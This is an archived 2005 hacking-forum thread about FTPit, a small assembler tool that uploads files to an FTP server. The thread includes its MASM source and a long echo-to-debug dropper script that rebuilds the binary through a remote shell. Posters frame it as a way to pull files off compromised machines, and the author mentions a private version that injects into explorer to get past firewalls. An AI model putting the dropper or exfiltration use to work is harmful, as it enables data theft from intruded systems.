Articles
|
|
illwill
Mar 27 2005, 11:12 PM
CODE FTPit 1.0 by: illwill xillwillx@yahoo.com 3/27/2005 written in assembler
---------------------------------------------------------------------------- Description: 1.5kb app that will allow you to transfer files to a remote ftp server ---------------------------------------------------------------------------- Usage: FTPit.exe <site> <user> <pass> <localfile> <remotefile> (ex:) c:\>FTPit 192.168.1.1 open sesame c:\boot.ini public_html/boot.ini
simple right? ----------------------------------------------------------------------------
include source for all the whiners (tibbar) have private fwb version that im not posting here let me know if you find any bugs
..:Z:..
Mar 28 2005, 05:40 PM
wow its a very useful tool thx illwill and the oder 31 leecher SAY THX PLZ !! //edit yes its a nice tool it works well !
tibbar
Mar 28 2005, 06:08 PM
QUOTE include source for all the whiners (tibbar) see, my whining has paid off!
night^man
Mar 28 2005, 09:30 PM
what about port ? only 21? can you add port section and it will be graet
vnet576
Mar 28 2005, 11:04 PM
nice program illwill. A long time ago I wrote a paper for doing the same thing in another processes memory and bypassing the firewall that way. Anyone interested can search the board for it. I don't know if thats the technique that you used illwill for you fwb version?? Then again there are dozens of techniques for bypassing firewalls.
illwill
Mar 29 2005, 03:54 AM
QUOTE(night^man @ Mar 28 2005, 09:30 PM) what about port ? only 21? can you add port section and it will be graet thats why source is included and yes my fwb injects into explorer
[N0N4M3]
Mar 30 2005, 12:37 PM
reall nice toolz, it's nice to post this toolz here. I am really happy to try that. sorry for my bad english. Tnahk you very much
easternerd
Mar 30 2005, 06:35 PM
hi illwill, I tried but Port mode doesnt seem to work very well. The client opens the sessions and proceeds with PORT and the Random Port choice doesnt happen I meant in a port mode ftp server. just hangs there.. but is working fine in FlashFxp. donno whats wrong.. couldnt see any more packets on the networks. Could you please check.
passi
Mar 30 2005, 07:07 PM
QUOTE(illwill @ Mar 29 2005, 03:54 AM) and yes my fwb injects into explorer Nice thingy illwill, do you have a paper that describes how code injecting works in theory? This would be great
gmork
Apr 7 2005, 01:23 AM
Really a great job, 10x for share.
globey
Apr 10 2005, 05:28 PM
nice tool dude, but this one is working under the real ftp.exe? i mine if i want to upload with this, i need ftp.exe @ my comupter?
tnx, globey.
illwill
Apr 10 2005, 09:09 PM
no
o0oKARo0o
Apr 11 2005, 10:47 PM
QUOTE(globey @ Apr 10 2005, 05:28 PM) nice tool dude, but this one is working under the real ftp.exe? i mine if i want to upload with this, i need ftp.exe @ my comupter? tnx, globey. The size of the proggie make it easy and possible to create it on the pc through a shell executing the following lines... CODE ECHO echo n ftpit.sys ^>^>1>>ftpit.bat ECHO echo e 100 4D 5A 0 0 0 0 0 0 0 0 0 0 50 45 0 0 ^>^>1>>ftpit.bat ECHO echo e 110 4C 1 2 0 46 53 47 21 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 120 E0 0 F 1 B 1 0 0 0 4 0 0 0 8 0 0 ^>^>1>>ftpit.bat ECHO echo e 130 0 0 0 0 54 1 0 0 0 10 0 0 C 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 140 0 0 40 0 0 10 0 0 0 2 0 0 4 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 150 0 0 0 0 4 0 0 0 0 0 0 0 0 60 0 0 ^>^>1>>ftpit.bat ECHO echo e 160 0 2 0 0 0 0 0 0 3 0 0 0 0 0 10 0 ^>^>1>>ftpit.bat ECHO echo e 170 0 10 0 0 0 0 10 0 0 10 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 180 10 0 0 0 0 0 0 0 0 0 0 0 E0 53 0 0 ^>^>1>>ftpit.bat ECHO echo e 190 84 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 1A0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 1B0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 1C0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 1D0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 1E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 1F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 200 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 0 ^>^>1>>ftpit.bat ECHO echo e 210 0 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 220 0 0 0 0 0 0 0 0 E0 0 0 C0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 230 0 0 0 0 0 10 0 0 0 50 0 0 61 4 0 0 ^>^>1>>ftpit.bat ECHO echo e 240 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 250 E0 0 0 C0 87 25 24 54 40 0 61 94 55 A4 B6 80 ^>^>1>>ftpit.bat ECHO echo e 260 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F ^>^>1>>ftpit.bat ECHO echo e 270 B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3A AA EB E0 ^>^>1>>ftpit.bat ECHO echo e 280 FF 53 8 2 F6 83 D9 1 75 E FF 53 4 EB 24 AC ^>^>1>>ftpit.bat ECHO echo e 290 D1 E8 74 2D 13 C9 EB 18 91 48 C1 E0 8 AC FF 53 ^>^>1>>ftpit.bat ECHO echo e 2A0 4 3B 43 F8 73 A 80 FC 5 73 6 83 F8 7F 77 2 ^>^>1>>ftpit.bat ECHO echo e 2B0 41 41 95 8B C5 B6 0 56 8B F7 2B F0 F3 A4 5E EB ^>^>1>>ftpit.bat ECHO echo e 2C0 9F 5E AD 97 AD 50 FF 53 10 95 8B 7 40 78 F3 75 ^>^>1>>ftpit.bat ECHO echo e 2D0 3 FF 63 C 50 55 FF 53 14 AB EB EE 33 C9 41 FF ^>^>1>>ftpit.bat ECHO echo e 2E0 13 13 C9 FF 13 72 F8 C3 2 D2 75 5 8A 16 46 12 ^>^>1>>ftpit.bat ECHO echo e 2F0 D2 C3 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 0 0 ^>^>1>>ftpit.bat ECHO echo e 300 68 1C 80 32 40 1 6A 1 E8 4 2 C3 85 5E C 9F ^>^>1>>ftpit.bat ECHO echo e 310 DC 71 14 3D C8 B8 8 1B 76 9 31 CE 1D 0 EB 1F ^>^>1>>ftpit.bat ECHO echo e 320 B C0 75 1B 68 A 65 30 3D F0 4 28 18 31 4C E6 ^>^>1>>ftpit.bat ECHO echo e 330 15 6A CC E A7 43 68 E0 33 CF 8B 2 8A BF C CF ^>^>1>>ftpit.bat ECHO echo e 340 4D 97 15 A 35 21 BB 64 B1 62 72 11 80 8 3 F8 ^>^>1>>ftpit.bat ECHO echo e 350 8A AC C F4 62 A7 35 90 86 B2 7C 31 3D 53 5E 34 ^>^>1>>ftpit.bat ECHO echo e 360 3E 6B 4 2B 55 C 3D 29 2D 35 E4 51 2C 47 8C 55 ^>^>1>>ftpit.bat ECHO echo e 370 8 5E 3 35 5 E2 20 B3 C D3 F8 85 38 35 1C 85 ^>^>1>>ftpit.bat ECHO echo e 380 91 12 8E D3 11 D1 63 43 9D 43 D7 56 21 38 7 54 ^>^>1>>ftpit.bat ECHO echo e 390 25 AE 88 55 8B A EC 83 C4 F0 46 45 D6 A 5E BA ^>^>1>>ftpit.bat ECHO echo e 3A0 46 1E CC A1 21 2 34 70 C 1C A0 59 89 1C 45 FC ^>^>1>>ftpit.bat ECHO echo e 3B0 8D C6 F4 50 68 17 48 8 59 C FF 75 10 6 C F0 ^>^>1>>ftpit.bat ECHO echo e 3C0 15 DF A 70 6 FC E8 79 AC 91 14 E 68 E0 41 22 ^>^>1>>ftpit.bat ECHO echo e 3D0 8B 39 EB 3D 30 D 66 F8 68 8 A1 73 7A 48 52 2 ^>^>1>>ftpit.bat ECHO echo e 3E0 CC 56 18 6 14 80 F8 E8 56 3C 31 28 55 20 44 5A ^>^>1>>ftpit.bat ECHO echo e 3F0 EB 72 C 7E A 50 29 E 4C 8A 4 24 1E 50 5D 22 ^>^>1>>ftpit.bat ECHO echo e 400 16 19 C9 C2 14 18 25 C0 20 40 C8 D 4 64 1C 32 ^>^>1>>ftpit.bat ECHO echo e 410 18 19 24 D EE 28 D2 83 81 C4 7C FE EF E0 56 57 ^>^>1>>ftpit.bat ECHO echo e 420 E8 78 8A 21 B6 33 C9 8B 98 8A AC E2 74 7 E8 22 ^>^>1>>ftpit.bat ECHO echo e 430 F2 F7 3 41 EB F4 51 D1 E9 90 E1 58 3B 1 C1 74 ^>^>1>>ftpit.bat ECHO echo e 440 B 5F 5E B8 3 53 5D 8 86 49 1B 8D BD 3C 70 95 ^>^>1>>ftpit.bat ECHO echo e 450 F 2A 9 3C BF 81 2 B0 20 AA EB F2 CC 8D 85 A0 ^>^>1>>ftpit.bat ECHO echo e 460 15 8B F0 E4 F8 D8 33 2A EB 1B CD 8B 3 32 99 7 ^>^>1>>ftpit.bat ECHO echo e 470 EF 22 20 94 4D FE 11 88 E1 A3 2D B4 94 23 83 B9 ^>^>1>>ftpit.bat ECHO echo e 480 70 B7 C0 4B 74 FB 3B 4D 8 EA 15 A1 59 1D 95 67 ^>^>1>>ftpit.bat ECHO echo e 490 A 13 30 41 1D F EB E6 50 AA D 7 D8 19 87 F4 ^>^>1>>ftpit.bat ECHO echo e 4A0 B0 E1 FF 3 55 73 11 8B 7D C 1A 17 B8 2 7F 8 ^>^>1>>ftpit.bat ECHO echo e 4B0 A2 9D 4D B0 A0 A0 58 D0 33 46 37 D E6 47 F7 85 ^>^>1>>ftpit.bat ECHO echo e 4C0 FE 63 A3 EE 9D 10 BB 16 7E A4 CE 47 4 79 57 1 ^>^>1>>ftpit.bat ECHO echo e 4D0 3C 38 CC C8 E6 C0 F4 6A F5 E8 6D 93 C7 2A B4 F6 ^>^>1>>ftpit.bat ECHO echo e 4E0 24 AB B 6A 2A B6 A4 1B 50 22 CC 9C C8 51 89 8B ^>^>1>>ftpit.bat ECHO echo e 4F0 B2 24 70 4 2D 2 13 3C 53 7 22 8 8D 50 3 90 ^>^>1>>ftpit.bat ECHO echo e 500 18 83 C0 4 F1 FC FF FE C0 2 F7 D3 23 CB 81 22 ^>^>1>>ftpit.bat ECHO echo e 510 E1 80 3E 74 E9 36 C1 C 68 3B 75 6 FA 60 10 40 ^>^>1>>ftpit.bat ECHO echo e 520 2 D0 E1 1B 28 C2 5B 3E A1 8E C 23 94 2A 8 6 ^>^>1>>ftpit.bat ECHO echo e 530 45 10 1A 1 BB BA 2F 95 86 5A A3 9 20 2F 21 44 ^>^>1>>ftpit.bat ECHO echo e 540 1D 3F 8A F8 83 33 7F CB 29 BD 22 9 F5 45 E1 B9 ^>^>1>>ftpit.bat ECHO echo e 550 29 F0 89 AE 12 18 22 4 21 F9 92 9F 80 29 96 DD ^>^>1>>ftpit.bat ECHO echo e 560 0 45 78 69 74 50 72 E 6F 63 65 73 39 1D 6C DB ^>^>1>>ftpit.bat ECHO echo e 570 EF CE 9E CC 6E 41 14 6B ED E7 BF 9F E1 33 32 2E ^>^>1>>ftpit.bat ECHO echo e 580 64 D7 B5 0 28 46 74 70 50 75 E9 D9 69 B7 3C 3B ^>^>1>>ftpit.bat ECHO echo e 590 3 49 6E FD 1D 20 5F 43 CF 6F 73 27 48 61 ED 4A ^>^>1>>ftpit.bat ECHO echo e 5A0 FE 9C 16 79 6F CF C 63 9A 52 16 14 28 4F 70 57 ^>^>1>>ftpit.bat ECHO echo e 5B0 3F 77 69 F2 D1 1B 55 32 75 74 72 94 60 50 47 37 ^>^>1>>ftpit.bat ECHO echo e 5C0 6D E3 99 97 4C 45 41 48 12 53 E5 FA BB 5D 81 57 ^>^>1>>ftpit.bat ECHO echo e 5D0 72 47 AA 9A 81 4E 15 1 EE FB A0 46 54 50 3 69 ^>^>1>>ftpit.bat ECHO echo e 5E0 74 20 31 2E 30 87 54 5F 6A C1 D A 7C 20 F D1 ^>^>1>>ftpit.bat ECHO echo e 5F0 58 D1 1A F2 7C 9F 36 83 43 6F 64 65 97 F3 49 6E ^>^>1>>ftpit.bat ECHO echo e 600 F8 4D 41 53 E7 A A1 62 79 FC 69 6C E2 77 D9 9 ^>^>1>>ftpit.bat ECHO echo e 610 18 2D FD 78 1D E0 40 79 1C 61 68 6F 4E 2E 63 8A ^>^>1>>ftpit.bat ECHO echo e 620 6D 36 C8 D7 D7 37 6D 5 20 3F 1 1 55 53 41 47 ^>^>1>>ftpit.bat ECHO echo e 630 45 3A A1 46 E2 87 2E 65 78 21 20 3C 73 BC 12 34 ^>^>1>>ftpit.bat ECHO echo e 640 3E E B9 3C 63 F 70 61 C7 98 87 6C 6F 63 9E 8A ^>^>1>>ftpit.bat ECHO echo e 650 66 94 20 1A 75 72 7E 6D D1 46 D 6C 72 66 3A 91 ^>^>1>>ftpit.bat ECHO echo e 660 1F 41 39 32 2E D0 36 38 DB 8 4 E2 6F 5E 8B 3A ^>^>1>>ftpit.bat ECHO echo e 670 EE 82 46 61 6D A2 A 63 3A 5C 62 C5 34 BA B8 98 ^>^>1>>ftpit.bat ECHO echo e 680 7C 3D 70 75 BC 6C F 63 5F 68 CE 6D EA 2F 15 CD ^>^>1>>ftpit.bat ECHO echo e 690 88 1B A2 4B 99 DA 8A 32 67 2E 1 72 36 26 38 45 ^>^>1>>ftpit.bat ECHO echo e 6A0 72 B9 6F E8 B6 2C EF 7D 7F FE A4 B9 53 2E 4E A7 ^>^>1>>ftpit.bat ECHO echo e 6B0 35 64 3E 21 4B 97 EE E1 53 75 63 3A 4E 9E 66 FF ^>^>1>>ftpit.bat ECHO echo e 6C0 3E C8 89 6 54 72 61 6E 16 83 FD 43 68 75 A2 74 ^>^>1>>ftpit.bat ECHO echo e 6D0 9B 20 ED 15 77 6 43 53 46 1 FA AB 98 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 6E0 38 54 0 0 0 0 0 0 0 0 0 0 F2 1 0 0 ^>^>1>>ftpit.bat ECHO echo e 6F0 38 54 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 700 0 0 0 0 0 0 0 0 0 10 40 0 0 50 40 0 ^>^>1>>ftpit.bat ECHO echo e 710 2C 20 40 0 0 0 0 0 28 54 40 0 80 0 0 0 ^>^>1>>ftpit.bat ECHO echo e 720 0 7D 0 0 8 54 40 0 E8 1 40 0 DC 1 40 0 ^>^>1>>ftpit.bat ECHO echo e 730 DE 1 40 0 0 10 40 0 42 54 0 0 50 54 0 0 ^>^>1>>ftpit.bat ECHO echo e 740 0 0 0 0 4C 6F 61 64 4C 69 62 72 61 72 79 41 ^>^>1>>ftpit.bat ECHO echo e 750 0 0 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 ^>^>1>>ftpit.bat ECHO echo e 760 0 0 ^>^>1>>ftpit.bat ECHO echo rcx ^>^>1>>ftpit.bat ECHO echo 661 ^>^>1>>ftpit.bat ECHO echo w ^>^>1>>ftpit.bat ECHO echo q ^>^>1>>ftpit.bat ECHO debug ^<1^>nul>> ftpit.bat ECHO rename ftpit.sys ftpit.exe >>ftpit.bat
Thatīs the point of the whole thing... Thanks illmob again for sharing it
Xagon
Jun 27 2005, 03:21 PM
ohh jeah , thx for the code.
Edited by Mod: Ohh jeah! Warning points added for a lame thx post! Seems like everyone just likes to sign up and whap a nice thx on the board as their first post. Please read the rules and don't post lame thx posts!
local_
Jun 29 2005, 05:11 AM
very nice illwill. i like your stuff
Priskit
Jun 29 2005, 12:31 PM
indeed, a very usefull tool Illwill
[edit] tibbar - indeed another thx post! +1 warning +15 day suspension.
touk
Jul 2 2005, 04:54 AM
Thx but I really dont see the point to transfer TO a ftp server ??? It would have been more usefull to transfer FROM, anyway Im so lame with asm that Im just able to follow a debug, not to code myself.
belgther
Jul 2 2005, 06:44 AM
this can also be done by a batch file. It gets the username, password, local and remote files, and uses FTP.exe, and it only takes some bytes(I think less than 50).
tuttefrut
Jul 2 2005, 08:54 AM
doesnt work here got an error in autoexec.nt ? am i doing something wrong ? :$
Candypapa
Jul 2 2005, 10:57 AM
gr8 job. please add a port section.
Candypapa
Jul 4 2005, 09:46 AM
i do FTPit IP USER PASS c:\temp.exe temp.exe
the homedir of the ftp set to the location of temp.exe but it doesnt downloads the file? what do i do wrong?
tomas\
Jul 4 2005, 10:58 AM
QUOTE(touk @ Jul 2 2005, 04:54 AM) Thx but I really dont see the point to transfer TO a ftp server ??? It would have been more usefull to transfer FROM, anyway Im so lame with asm that Im just able to follow a debug, not to code myself. I'd say its rather useful to be able to transfer files from a remote pc to e.g. your own ftp server, quick way to grab the files thru a remote shell..
Candypapa
Jul 6 2005, 12:48 AM
CODE
ftpit.exe XXX.XXX.XXX.XXX down load c:\test.exe test.exe
this should transfer the file from the ftp to my computer - right? so whats wrong? CODE __________________________________________________ | FTPit 1.0 | | Coded In MASM | | by illwill - xillwillx@yahoo.com | |__________________________________________________| Connecting.............
Connected to site.
Error transferring file.
the test.exe located in the homedir of the ftp, the user has a download access. works with flashfxp. so whats wrong?
SkitZZ
Jul 6 2005, 04:52 AM
QUOTE(Candypapa @ Jul 6 2005, 12:48 AM) this should transfer the file from the ftp to my computer - right? so whats wrong? you haven't read the program description right QUOTE Description: 1.5kb app that will allow you to transfer files to a remote ftp server SkitZZ
Candypapa
Jul 6 2005, 06:08 AM
im trying to make this app to download a file FROM ftp. so i think the code should be: CODE .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\wininet.inc include \masm32\include\user32.inc include \masm32\include\masm32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\wininet.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\masm32.lib FTPit PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD ThePort equ 21 .data szAgent db "FTPit 1.0",0 Theoutput db ' __________________________________________________',13,10 db '| FTPit 1.0 |',13,10 db '| Coded In MASM |',13,10 db '| by illwill - xillwillx@yahoo.com |',13,10 db '|__________________________________________________|',13,10,0 szParams db ' USAGE:',13,10 db 'FTPit.exe <site> <user> <pass> <localfile> <remotefile>',13,10 db 'ex: FTPit 192.168.1.1 open sesame c:\boot.ini public_html/boot.ini',13,10,13,10,0 Connecting db ' Connecting.............',13,10,13,10,0 SiteFail db ' Error connecting to site.',13,10,13,10,0 Connected db ' Connected to site.',13,10,13,10,0 Success db ' File Successfully Transfered.',13,10,13,10,0 Failed db ' Error transferring file.',13,10,13,10,0
.data? ftpsite db 128 dup(?) Username db 128 dup(?) Password db 128 dup(?) TheFile db 128 dup(?) TheFile2 db 128 dup(?) .code
start: invoke GetCL, 1, addr ftpsite invoke lstrlen,addr ftpsite .IF eax>200 invoke ExitProcess,1 .ELSEIF eax==0 invoke StdOut,addr Theoutput invoke StdOut,addr szParams invoke ExitProcess,0 .ENDIF invoke GetCL, 2, addr Username invoke lstrlen,addr Username .IF eax==0 invoke StdOut,addr Theoutput invoke StdOut,addr szParams invoke ExitProcess,0 .ENDIF invoke GetCL, 3, addr Password invoke lstrlen,addr Password .IF eax==0 invoke StdOut,addr Theoutput invoke StdOut,addr szParams invoke ExitProcess,0 .ENDIF invoke GetCL, 4, addr TheFile invoke lstrlen,addr TheFile .IF eax==0 invoke StdOut,addr Theoutput invoke StdOut,addr szParams invoke ExitProcess,0 .ENDIF invoke GetCL, 5, addr TheFile2 invoke lstrlen,addr TheFile2 .IF eax==0 invoke StdOut,addr Theoutput invoke StdOut,addr szParams invoke ExitProcess,0 .ENDIF invoke FTPit, addr ftpsite,addr Username,addr Password, addr TheFile,addr TheFile2 invoke ExitProcess, 0 FTPit PROC FTPserver:DWORD, lpszUser:DWORD, lpszPass:DWORD, lpszFile:DWORD, lpRemoteFile:DWORD local hInternet:DWORD local ftpHandle:DWORD local context:DWORD local InternetStatusCallback:DWORD invoke StdOut,addr Theoutput invoke StdOut,addr Connecting invoke InternetOpen,addr szAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0 mov hInternet, eax invoke InternetConnect,hInternet,FTPserver,ThePort ,\ ;or use INTERNET_DEFAULT_FTP_PORT lpszUser,lpszPass,INTERNET_SERVICE_FTP,\ INTERNET_FLAG_PASSIVE,ADDR context .IF eax==0 invoke StdOut,addr SiteFail jmp err .ELSE mov ftpHandle,eax invoke StdOut,addr Connected .ENDIF invoke FtpGetFile,ftpHandle,lpRemoteFile,lpszFile,0, INTERNET_FLAG_RELOAD, FTP_TRANSFER_TYPE_ASCII, 0
.IF eax==0 invoke StdOut,addr Failed jmp err .ELSE invoke StdOut,addr Success .ENDIF err: invoke InternetCloseHandle,ftpHandle invoke InternetCloseHandle, hInternet ret FTPit endp end start
right? and if so, how do i configure a port? for example- 2005
Pikamars
Jul 27 2005, 11:21 AM
Thx a lot !!!
15 day vacation for Thanks post
Gumpy54
Aug 3 2005, 10:39 AM
I get exactly the same problem. Connects to site, error sending file.
I have even tested this item locally.
Has ANYBODY gotten this to work? If so, can they please post concise instructions?
I am using ftpit.exe [myip] [username] [pass] [localfile (releative to ftp-root) ] [remote file (realative to ftpit.exe) ]
I get a connection to my local ftp from the remote, but even though the paths are set correctly, the ports are correct still no joy...
Until I hear otherwise, I am inclined to say that this program doesnt work :/
**EDIT** This is the log from my local ftp upon attempting to use ftpit from a remote....
[5] Wed 03Aug05 11:48:38 - (000035) IP-Name: ***.***.***.*** [2] Wed 03Aug05 11:48:38 - (000035) USER anonymous [6] Wed 03Aug05 11:48:38 - (000035) 331 User name okay, please send complete E-mail address as password. [2] Wed 03Aug05 11:48:38 - (000035) PASS anon@anon.com [5] Wed 03Aug05 11:48:38 - (000035) ANONYMOUS logged in, password: ANON@ANON.COM [6] Wed 03Aug05 11:48:38 - (000035) 230 User logged in, proceed. [5] Wed 03Aug05 11:48:38 - (000035) Closing connection for user ANONYMOUS (00:00:00 connected)
Can anyone shed any light on this?
Jnxx09
Aug 6 2005, 02:29 PM
had a look at it, and got to admit that i have the same probs as Gumpy54 wo can help me/us
SkitZZ
Aug 7 2005, 12:38 AM
program works fine here all the time CODE C:\Temp>ftpit 127.0.0.1 user pass file.exe file.exe __________________________________________________ | FTPit 1.0 | | Coded In MASM | | by illwill - xillwillx@yahoo.com | |__________________________________________________| Connecting.............
Connected to site.
File Successfully Transfered.
C:\Temp> @Gumpy54 its: ftpit.exe <site> <user> <pass> <localfile (realative to ftpit.exe)> <remotefile (releative to ftp-root)> you don't have to put the file path in as long as ftpit.exe is in the same dir as file.exe (the file you trying to send) it will send it to the ftp's root dir, try doing that just incase your file paths are incorrect  SkitZZ
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|
|